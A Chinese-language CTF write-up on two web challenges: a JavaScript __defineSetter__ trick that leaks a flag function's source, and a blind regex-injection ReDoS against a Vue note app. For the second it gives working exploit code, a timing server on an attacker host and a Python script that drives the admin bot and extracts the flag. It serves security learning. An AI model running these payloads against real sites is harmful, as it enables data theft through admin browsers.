又双叒叕爆零…学到了一个新词:beginner…惨惨

web

Beginner’s Web

好一个beginner,不过这题还是很有意思的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const fastify = require('fastify');
const nunjucks = require('nunjucks');
const crypto = require('crypto');


const converters = {};

const flagConverter = (input, callback) => {
const flag = '*** CENSORED ***';
callback(null, flag);
};

const base64Converter = (input, callback) => {
try {
const result = Buffer.from(input).toString('base64');
callback(null, result)
} catch (error) {
callback(error);
}
};

const scryptConverter = (input, callback) => {
crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
if (error) {
callback(error);
} else {
callback(null, key.toString('hex'));
}
});
};


const app = fastify();
app.register(require('point-of-view'), {engine: {nunjucks}});
app.register(require('fastify-formbody'));
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});

app.get('/', async (request, reply) => {
reply.view('index.html', {sessionId: request.session.sessionId});
});

app.post('/', async (request, reply) => {
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}

if (request.body.input.length < 10) {
throw new Error('Too short :(');
}

converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;

const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});

reply.view('index.html', {
input: request.body.input,
result,
sessionId: request.session.sessionId,
});
});

app.setErrorHandler((error, request, reply) => {
reply.view('index.html', {error, sessionId: request.session.sessionId});
});

app.listen(59101, '0.0.0.0');

解法

先说下解法

  • 发送post请求(FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP要按照不同的session id来)
1
input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__

这时页面会卡在那里

  • 另外再开一个页面,随便发一个post请求,比如
1
input=aaaaaaaaaaaaa&converter=base64

这时原来那个卡住的页面就会报错显示flagConverter的代码,其中就包含了flag

原理

Object.prototype.__defineSetter__()

参考MDN文档

defineSetter 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性被赋值时,你所绑定的函数就会被调用

因此当我们传入

1
input=FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP&converter=__defineSetter__

会将

1
2
3
4
5
6
7
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}

绑定到converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]

await new Promise

Promise代表了一个异步操作的最终完成或者失败,而await new Promise会暂停当前 async function 的执行,让主线程先去执行async function外的代码,等待Promise的返回

那么为什么第一个请求发出后会卡住呢?

1
2
3
4
5
6
7
8
9
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});

只有执行了reject(error)或者resolve(result)Promise才会返回,但

1
2
3
4
5
6
7
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}

需要在base64Converter或者scryptConverter调用,因此第一个请求发出后就一直卡在了await new Promise这里

javascript容错性

javascript可以接受比形参个数少的实参,比如

1
2
3
4
5
const f = function(a,b){
console.log(a,b)
}

f('a'); //a undefined

当第二个请求发送过来时,因为在converter[FLAG_l4KILh2scJrJ4zF_Yd8Uu6HODdfZeNEP]上设置了Setter,
converters[`FLAG_${request.session.sessionId}`] = flagConverter;会调用

1
2
3
4
5
6
7
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}

传入的参数只有一个,所以

1
2
error=flagConverter
result=undefined

然后reject(error);使第一个请求的Promise返回(因为nodejs是单线程的,所以第二个请求能够影响到第一个请求),同时抛出一个rejectionhandled错误,该错误被error handler捕获

1
2
3
app.setErrorHandler((error, request, reply) => {
reply.view('index.html', {error, sessionId: request.session.sessionId});
});

这时将flagConverter作为error渲染

Function.prototype.toString()

为什么将函数渲染会返回其源代码呢?

  • 首先要看模板渲染的原理。模板渲染时会动态生成一段js代码

实际上是把模板文件中的html拆分开,和用户传入的变量进行字符串拼接

  • javascript是弱类型语言,并且万物皆对象

因此当把函数和字符串进行拼接时,会调用Function.prototype.toString()将函数转为字符串,该方法会返回一个表示函数源代码的字符串

一个简单的示例

1
2
3
4
5
6
7
8
9
10
const f = function (a, b) {
console.log(a, b)
}

console.log('aaaaa'+f);
/*
aaaaafunction (a, b) {
console.log(a, b)
}
*/

总结

  • 对js内置方法的运用:Object.prototype.__defineSetter__()Function.prototype.toString()
  • 对js异步编程的了解
  • js的容错性和弱类型转换
  • javascript是世界上最好的语言(确信

References

note1

进去之后是一个记事本的功能

给了ruby的后端代码和一个worker.js

  • app.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

class App < Sinatra::Base
DB = SQLite3::Database.new 'data/db.sqlite3'
DB.execute <<-SQL
CREATE TABLE IF NOT EXISTS notes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id TEXT,
content TEXT
);

CREATE TABLE IF NOT EXISTS tokens (
id TEXT PRIMARY KEY,
remain INTEGER
);
SQL

DB.execute <<-SQL
INSERT OR REPLACE INTO notes (id, user_id, content)
VALUES (0, '#{ENV['FLAG_USER_ID']}', '#{ENV['FLAG_CONTENT']}');
SQL

use Rack::JSONBodyParser
use Rack::Session::Cookie, secret: ENV['SECRET'], old_secret: ENV['OLD_SECRET']

def err(code, message)
[code, json({message: message})]
end

post '/api/register' do
session[:user] = SecureRandom.hex(16)

json({})
end

post '/api/logout' do
session[:user] = nil

json({})
end

get '/api/note' do
return err(401, 'login first') unless user = session[:user]

sleep 0.5

begin
res = DB.query 'SELECT id, content FROM notes WHERE user_id = ? ORDER BY id', user
notes = []
res.each do |row|
notes << {id: row[0], content: row[1]}
end
res.close
end

json(notes)
end

post '/api/note' do
return err(401, 'register first') unless user = session[:user]
return err(403, 'no note :rolling_on_the_floor_laughing:') unless note = params[:note] and String === note and note.bytesize > 0
return err(403, 'too large note') unless note.bytesize < 500

begin
res = DB.query 'SELECT COUNT(1) FROM notes WHERE user_id = ?', user
row = res.next
count = row && row[0]
res.close
end

return err(403, 'too many notes') unless count < 50

DB.execute 'INSERT INTO notes (user_id, content) VALUES (?, ?)', user, note

json({})
end

delete '/api/note/:id' do
return err(401, 'login first') unless user = session[:user]
puts params[:id]
return err(404, 'no note') unless id = params[:id] and (String === id or Integer === id) and id = id.to_i

DB.execute 'DELETE FROM notes WHERE id = ? AND user_id = ?', id, user

200
end
end
  • worker.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, 'redis');

const browser_option = {
product: 'firefox',
headless: true,
};

const crawl = async (url) => {
console.log(`[*] started: ${url}`)

const browser = await puppeteer.launch(browser_option);
const page = await browser.newPage();
await page.setCookie({
name: 'rack.session',
value: process.env.COOKIE_VALUE,
domain: process.env.DOMAIN,
expires: Date.now() / 1000 + 10,
});
try {
const resp = await page.goto(url, {
waitUntil: 'load',
timeout: 3000,
});
} catch (err){
console.log(err);
}
await page.close();
await browser.close();
console.log(`[*] finished: ${url}`)
};

// handle the whole
function handle(){
console.log("[*] waiting new query ...")
connection.blpop("query", 0, async function(err, message) {
const url = message[1];
await crawl(url);
await connection.incr("proceeded_count");
setTimeout(handle, 10);
});
}
handle();
  • app.rb中flag被放到了管理员的note中
  • 给了一个worker.js
  • 前端有一个Report URL

根据这三点可以猜到是一个xss的题,看下前端的代码,发现是用vue.js写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<link rel="icon" href="data:,">

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.9.0/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/vue" crossorigin="anonymous"></script>

<link rel="stylesheet" href="/app.css">

<style>[v-cloak]>*{display: none} [v-cloak]::before{content:"loading..."}</style>
</head>

<body>
<div id="app" v-cloak>
<div class="container">
<div v-if="headerImg" class="hero"> <img :src="headerImg" /> </div>

<section class="section">
<div v-if="loggedin">
<div class="buttons is-right">
<button v-on:click="logout" class="button">Exit Note Space</button>
<a href="/report.html" class="button">Report URL</a>
</div>

<div class="control">
<div class="control has-icons-right">
<input v-model="search" placeholder="Search..." type="text" class="input is-rounded" />
<span class="icon is-small is-right"><i class="fas fa-search"></i></span>
</div>
</div>

<section class="section">
<div class="is-centered">
<div class="control note is-centered">
<textarea v-model="editingNote" placeholder="note..." class="textarea note-color box"></textarea>
<button v-on:click="postNote" class="button is-fullwidth">Post</button>
</div>
</div>
</section>

<div style="display: flex; flex-wrap: wrap;">
<div v-for="note in visibleNotes" class="note note-color box" style="flex: 1">
{{ note.content }}
<div class="x-icon" :noteid="note.id" v-on:click="deleteNote"></div>
</div>
</div>
</div>

<div v-else>
<button v-on:click="register" class="button">New Note Space</button>
</div>
</section>
</div>
</div>

<script src="/app.js"></script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function api(path, body, method = 'POST') {
return fetch(path, {
method,
credentials: 'include',
...(method == 'POST' ? {
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(body),
} : {}),
}).then(res => {
if(!res.ok) {
return res.json().catch(_ => {
throw {message: 'something went wrong'};
}).then(({message}) => {
throw {message: message || 'something went wrong'};
});
}
return res;
});
}

const app = new Vue({
el: '#app',
data: {
tab: 'transfer',
headerImg: document.location.hash.substring(1) || '',
search: document.location.search.substring(1) || '',
editingNote: '',
allNotes: [],
visibleNotes: [],
loggedin: false,
},
watch: {
search() {
this.updateVisibleNotes();
},
allNotes() {
this.updateVisibleNotes();
console.log(this.allNotes.length);
},
},
mounted() {
this.updateNotes();
},
methods: {
async updateNotes() {
try {
const notes = await (await api('/api/note', '', 'GET')).json();
this.loggedin = true;
console.log(notes);
this.allNotes = notes;
} catch {
this.loggedin = false
this.allNotes = [];
};
},
async updateVisibleNotes() {
try {
const re = new RegExp(this.search);
this.visibleNotes = this.allNotes.filter(({content}) => content.match(re));
} catch {
// pass
}
},
async register() {
await api('/api/register', {});
await this.updateNotes();
},
async logout() {
await api('/api/logout', {})
this.updateNotes();
},
async postNote() {
await api('/api/note', {note: this.editingNote});
this.editingNote = '';
const notes = await (await api('/api/note', '', 'GET')).json();
this.allNotes = notes;
},
async deleteNote(ev) {
const e = ev.target;
const noteid = e.getAttribute('noteid');
await api(`/api/note/${noteid}`, {}, 'DELETE');
const notes = await (await api('/api/note', '', 'GET')).json();
this.allNotes = notes;
},
}
});

正则注入

1
2
3
4
5
6
7
8
async updateVisibleNotes() {
try {
const re = new RegExp(this.search);
this.visibleNotes = this.allNotes.filter(({content}) => content.match(re));
} catch {
// pass
}
}

可以看到这里存在一个正则注入,注入的正则用于匹配note的内容,并且this.search可以由url控制

1
search: document.location.search.substring(1) || '',

javascript的正则并不像php那样有回溯次数的限制,因此正则注入能够造成ReDos

通过注入特殊的正则,可以根据延时的不同判断note的内容,详细可以参考https://diary.shift-js.info/blind-regular-expression-injection/

比如以下正则

1
^(?={some regexp here})((((.*)*)*)*)*salt
  • salt是一个有一定长度的字符串,比如随便填一个saltfwefwefewfwfekorewp
  • ((((.*)*)*)*)*salt这部分通过嵌套重复运算符导致回溯次数暴增,造成ReDos,比如
1
2
3
4
regex = "((((.*)*)*)*)*saltfwefwefewfwfekorewp";
const re = new RegExp(regex);
'abcdefghijklmnopq'.match(re); //会卡在这
console.log('finish')

详细的理论可以参见https://zhuanlan.zhihu.com/p/46294360,虽然我没看懂…

  • ^(?={some regexp here}) 正向肯定预查
    • 如果目标字符串无法匹配some regexp here的话就直接返回匹配失败,这样就不会运行后面的((((.*)*)*)*)*salt,也就不会有延时
    • 匹配some regexp here的话就会reDos

通过改变some regexp here,根据延时的不同就可以判断出note的内容

比如我随便输了一个内容为aaaTSGCTF{Abdfefe的note,访问以下url
http://35.221.81.216:18364/?^(?=^aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp

  • firefox会卡在这个页面大概8秒左右(我瞎数的)才显示出搜索栏和note的文本框,调试可以发现是firefox在一定时间后强行跳过了正则匹配那行
  • chrome会卡更久时间,直到提示说该页面无响应

OOB

那么把这样的url发给管理员后,怎样才知道它延时了多久呢

可以注意到有一个根据location.document.hash加载背景图片的功能

1
headerImg: document.location.hash.substring(1) || '',
1
<div v-if="headerImg" class="hero"> <img :src="headerImg" /> </div>

看起来可以通过加载我们服务器上的图片来看延时了多久,然而加载图片是发生在正则匹配之前的…

解决方法是通过加载图片时的延时和302跳转,方法和代码来自https://ctftime.org/writeup/22284

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const http = require('http');
const { performance } = require('perf_hooks');
const { URL } = require('url');
const server = http.createServer((req, res) => {
setTimeout(() => {
res.writeHead(302, {
'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now())
});
res.end();
}, 2000);
});
server.listen(8000);

const server2 = http.createServer(function (req, res) {
const url = new URL(req.url, 'http://ourserver.example.com:8001');
console.log(url.searchParams.get('r'));
console.log(performance.now() - parseInt(url.searchParams.get('s')));
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('ok\n');
});
server2.listen(8001);

访问
http://35.221.81.216:18364/?^(?=aaa)((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000,这时浏览器会做下面的操作:

  • 新开一个线程去加载图片,该线程经过了我们服务器两秒的延时后才拿到302跳转的返回,向主线程发出自己工作完成的信号
  • 在这个期间主线程继续往下执行其他的代码
    • 如果note内容不匹配some regexp here的话主线程就会继续往下干活,及时处理加载图片线程的信号,在较短的时间内请求8001端口
    • 如果note的内容匹配some regexp here的话,主线程会卡死在正则匹配这里。不请求8001端口或者晚请求8001端口

上面的过程都是我瞎猜的…

不断改变some regexp here,通过请求8000端口和请求8001端口的时间差就可以判断flag的内容了

试验一下可以发现虽然worker.js里写的是firefox,但是Report URL在ReDos成功后根本不会有第二次请求…反倒是和chrome表现一致…

瞎捣鼓了一个很慢的exp:

  • server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const http = require('http');
const { performance } = require('perf_hooks');
const { URL } = require('url');

var flag = true;

const server = http.createServer((req, res) => {
console.log("Get it");
setTimeout(() => {
res.writeHead(302, {
'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now())
});
res.end();
}, 2000);
flag = true;
});
server.listen(8000);

const server2 = http.createServer(function (req, res) {
const url = new URL(req.url, 'http://ourserver.example.com:8001');
console.log(url.searchParams.get('r'));
console.log(performance.now() - parseInt(url.searchParams.get('s')));
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('ok\n');
flag = false;
});
server2.listen(8001);

const server3 = http.createServer(function (req,res){
res.writeHead(200, {'Content-Type': 'text/plain'});
if(flag){
res.end('Yes');
}
else{
res.end('No');
}
});
server3.listen(8002);
  • exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import time
import math
import string
import re
from urllib.parse import quote

session = requests.session()

def send_payload(regex):
burp0_url = "http://35.221.81.216:18364/query"
burp0_cookies = {"rack.session": "BAh7B0kiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkVlNzI5ZmYxYzNlMGRiYWUxMmU5ZjVlZTdkNTEwNDMwMGY0YzcxNjUzMzM5MmVjNmMzMmJkN2Q5ZTZiZDRlODdmBjsARkkiCXVzZXIGOwBGSSIlYTY2ODZlMTlmNWQ0ZTU0ZGFiNDE5OGMzY2IxN2ZjZDkGOwBG--0895dbb03d0c8d085c5ee28a5d3a50262048d172"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://35.221.81.216:18364", "Connection": "close", "Referer": "http://35.221.81.216:18364/report.html", "Upgrade-Insecure-Requests": "1"}
burp0_data = {
"url": "http://35.221.81.216:18364/?^(?={})((((.*)*)*)*)*saltfwefwefewfwfekorewp#http://ourserver.example.com:8000".format(regex)}
session.post(burp0_url, headers=burp0_headers,
cookies=burp0_cookies, data=burp0_data)
time.sleep(6) #延时5秒都不行...
return query_result()


def query_result():
url = "http://ourserver.example.com:8002"
response = requests.get(url=url).text
if response == 'Yes':
return True
else:
return False

''' 判断flag长度
lower_bound = 1
upper_bound = 40
while lower_bound != upper_bound:
m = math.ceil((lower_bound + upper_bound) / 2)
if send_payload(".{{{}}}".format(m)):
lower_bound = m
else:
upper_bound = m-1
print("[*] {}, {}".format(lower_bound, upper_bound))
secret_length = lower_bound # = upper_bound
print("[+] length: {}".format(secret_length))
'''

secret_length = 24 #已经得到flag长度为24位
S = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}"
secret = ""
# 已知flag前7位是TSGCTF{
for i in range(7, secret_length):
lower_bound = 0
upper_bound = len(S)-1
while lower_bound != upper_bound:
m = (lower_bound + upper_bound) // 2
s = S[lower_bound:(m+1)]
if send_payload(".{" + str(i) + "}[" + ''.join(list(map(re.escape, s))) + ']'):
upper_bound = m
else:
lower_bound = m+1
print("[*] {}, {}".format(S[lower_bound], S[upper_bound]))
secret += S[lower_bound]
print("[*] {}".format(secret))
print("[+] secret: {}".format(secret))

References